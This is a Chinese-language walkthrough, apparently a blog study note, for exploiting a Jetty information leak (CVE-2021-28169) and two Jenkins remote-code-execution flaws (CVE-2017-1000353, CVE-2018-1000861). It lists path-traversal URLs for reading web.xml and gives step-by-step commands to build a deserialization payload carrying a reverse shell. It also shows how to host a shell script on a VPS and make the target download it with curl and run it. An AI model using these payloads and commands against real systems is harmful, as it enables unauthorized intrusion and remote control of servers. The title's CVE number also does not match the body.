Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)

Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)

jetty 敏感信息泄露(CVE-2021-28169)

漏洞简介

对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本,对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如,对 /concat?/%2557EB-INF/web.xml 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。

漏洞复现

直接在url路径请求如下地址

/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.

Jenkins 代码执行 (CVE-2017-1000353)

漏洞概述

Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

默认端口

8080

影响范围

所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

漏洞复现

POC下载CVE-2017-1000353

  • 注意 运行jar包时必须使用JDK-1.8.0_291版本,否则失败
  1. 使用jar包生成 jenkins_poc.ser文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}"

  1. 启动监听

  2. 运行exp进行命令执行

    python exploit.py 目标主机地址 jenkins_poc.ser

Jenkins 命令执行 (CVE-2018-1000861)

默认端口

8080

影响范围

Jenkins主版本 <= 2.153

Jenkins LTS版本 <= 2.138.3

漏洞复现

POC下载awesome-jenkins-rce-2019

  1. 在VPS上创建shell.txt,文件中写入反弹shell命令

  2. 使用python开启http服务

    python3 -m http.server 8080

  3. 本地使用python2执行exp脚本,将远程文件保存至目标主机

    python2 exp.py 目标主机 "curl -o /tmp/1.sh http://xxxx:8080/shell.txt"

  4. 使用python2执行exp脚本,使目标主机运行脚本文件反弹shell

    python2 exp.py 目标主机 "bash /tmp/1.sh"

以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。